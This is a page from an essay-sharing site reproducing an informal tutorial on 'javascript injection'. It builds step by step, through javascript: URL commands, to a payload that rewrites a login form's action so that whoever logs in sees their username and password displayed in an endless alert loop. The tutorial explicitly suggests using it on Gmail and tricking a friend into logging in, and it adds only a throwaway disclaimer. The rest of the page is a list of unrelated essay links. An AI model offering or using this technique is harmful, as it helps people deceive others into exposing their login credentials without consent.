Top-Rated Free Essay
Preview

Basic Hacking: Javascript Injection Prank

Good Essays
688 Words
Grammar
Grammar
Plagiarism
Plagiarism
Writing
Writing
Score
Score
Basic Hacking: Javascript Injection Prank
Password Prank Javascript Injection

first things first, test it out. in the url bar type the following

javascript:alert("hello")

"oh my god it said hello to me" now try something like this

javascript:document.write("hello")

"oh my word a new page that says hello to me" don't worry, this is going somewhere now for some variables

javascript:void(a="hello); javascript:alert(a)

if your starting to understanding the concept you'll realize that somethings different. we set a variable to a and made it alert the value of a.

now heres where it gets more advanced. go to a page with a login form like gmail.com and type this into the url bar

javascript:alert(document.forms[0].action)

the document function as you might have guessed documents something. as for the forms[0], your asking for the form (a type of html tag for those who dont know) and the number 0 (the first one on the page). and the action is where the form submits too.

now what were to happen if we were to change this value through a void, try it

javascript:void(document.forms[0].action="http://www.google.com"); javascript:alert(document.forms[0].action)

oh wow it changed, but what does that mean? try clicking the log in button. there ya go. so, it just sends me to google big deal. keep reading, the pay off is comming.

so now try this, put something in the username box and something else in the password box (these will be comming up in a popup so dont put your real information if anyones around)

javascript:alert(document.forms[0].elements[0].value)

like before forms[0] gives you the first form. but now elements[0].value gives you what the first element contains. so now to accomplish our goal change the elements[0].value to elements[1].value. and then elements[2].value and so on and so forth until you find what you put in the username and what you put in the password.

now before we continue one last thing you need to learn.(warning this will freeze your browser, opening a different window is recommended)

javascript:while(1) alert("loop")

the while is basically a loop, it has other functions, but when doing while(1) the 1 is recognized as true, therefore while(1) generates a never ending loop.

and now for the final product, remember this can be done for any site with a form submission login (most sites), if your using gmail.com like me you'll find the two you're looking for are elements[7].value and elements[8].value. and now to put all ive shown you together.

javascript:void(document.forms[0].action="javascript:while(1) alert(document.forms[0].elements[7].value+' '+document.forms[0].elements[8].value)")

now look what happens when you try logging in, "OH MY GOD THATS MY USERNAME AND PASSWORD"

this method can be used for any website the has a form submission log in, most sites, but not all sites have exactly the same values, so you may need to tweak the forms[0] and the elements[7] and the elements[8] to something different depending on the site. you should be able to figure it out though.

now the meaning of this is a prank and only to be used with good, inexperienced friends.

For example, open up the site, put the injection in, and ask one of your friends to log in because you sent them something or you want to see their profile.
Password pops up, doesn't go away, everyone gets a good laugh.

I do not condone malicious hacking, this is only proof of theory, I will not be held accountable for what you use this knowledge for, yada yada I better not get in trouble yada yada. Have fun.

Sources: Erm, i made the script and this tutorial myself, and over the past year ive picked up random javascript on my own, so basically anything you might find on google: "javascript injections" can go here.

You May Also Find These Documents Helpful

  • Satisfactory Essays

    I was unable to use Password as the password because it doesn’t meet the password policy requirements.…

    • 96 Words
    • 1 Page
    Satisfactory Essays
  • Good Essays

    You will be rquired to do the settings again, but if you have forgot the password then there is no other option left.…

    • 570 Words
    • 3 Pages
    Good Essays
  • Good Essays

    One way is to use first letter of each word in a sentence and use that acronym as the base of your password.…

    • 691 Words
    • 3 Pages
    Good Essays
  • Satisfactory Essays

    Chief Seattle

    • 259 Words
    • 2 Pages

    |and passcode. Your passcode is your birth date in MMDDYY format. Once you log on, you will be asked to|…

    • 259 Words
    • 2 Pages
    Satisfactory Essays
  • Good Essays

    Lab 3 nt2580

    • 321 Words
    • 2 Pages

    It is not a good idea to have a user name in the password, because it easy for people can try to hack or decode the password.…

    • 321 Words
    • 2 Pages
    Good Essays
  • Satisfactory Essays

    (Important: Copy and paste the password into the portal password field. If you get a “locked out” message, notify an ASR asap.)…

    • 524 Words
    • 3 Pages
    Satisfactory Essays
  • Good Essays

    7 Enter your email address and password. (If you want to change your name or password, login and then click into My Account)…

    • 583 Words
    • 3 Pages
    Good Essays
  • Satisfactory Essays

    School

    • 629 Words
    • 3 Pages

    These forms have been formatted to allow you to complete the form online and save it using Adobe Reader. You may experience problems with either or both of these actions if you are using any other software program.…

    • 629 Words
    • 3 Pages
    Satisfactory Essays
  • Good Essays

    Yes man

    • 904 Words
    • 4 Pages

    have never logged in before, click on the link on the right side of the screen under Individual Accounts to…

    • 904 Words
    • 4 Pages
    Good Essays
  • Good Essays

    german history

    • 22532 Words
    • 91 Pages

    Section 1 explains how to use the paperwork. There are blue hyperlinks throughout for your convenience. Use Ctrl + click to go straight to the section you have been reading about.…

    • 22532 Words
    • 91 Pages
    Good Essays
  • Satisfactory Essays

    difficult to hear what I’m saying at the beginning. Also, my friend told me that I should include in the step of creating an account that after writing their information they should click on “Create Account” to make this step very clear. Overall, I think my video tutorial was successful and need to improve the following steps:…

    • 91 Words
    • 1 Page
    Satisfactory Essays
  • Satisfactory Essays

    gen201 student resources

    • 501 Words
    • 2 Pages

    Once logged in at the top there is a link to click that says University Library…

    • 501 Words
    • 2 Pages
    Satisfactory Essays
  • Satisfactory Essays

    wwer

    • 317 Words
    • 2 Pages

    ***Note: If you are unsure of your username or password, click on “Forgot Password?” under the login box.…

    • 317 Words
    • 2 Pages
    Satisfactory Essays
  • Good Essays

    Nt1330 Unit 1 Study Guide

    • 508 Words
    • 3 Pages

    * One-way function: The system stores only the value of a function based on the…

    • 508 Words
    • 3 Pages
    Good Essays
  • Powerful Essays

    Open Solutions

    • 2596 Words
    • 11 Pages

    Login to openSIS ................................................................................................................................................ 3 School Information ............................................................................................................................................ 4 System Preferences............................................................................................................................................ 5 School Calendars ............................................................................................................................................... 7 School Periods ................................................................................................................................................. 10 Grade Levels .................................................................................................................................................... 11 Attendance Codes............................................................................................................................................ 12 Report Card Grades.......................................................................................................................................... 13 Report Card Comments.................................................................................................................................... 14 Student Enrollment Codes ............................................................................................................................... 15 Portal Notes ..................................................................................................................................................... 16…

    • 2596 Words
    • 11 Pages
    Powerful Essays

Related Topics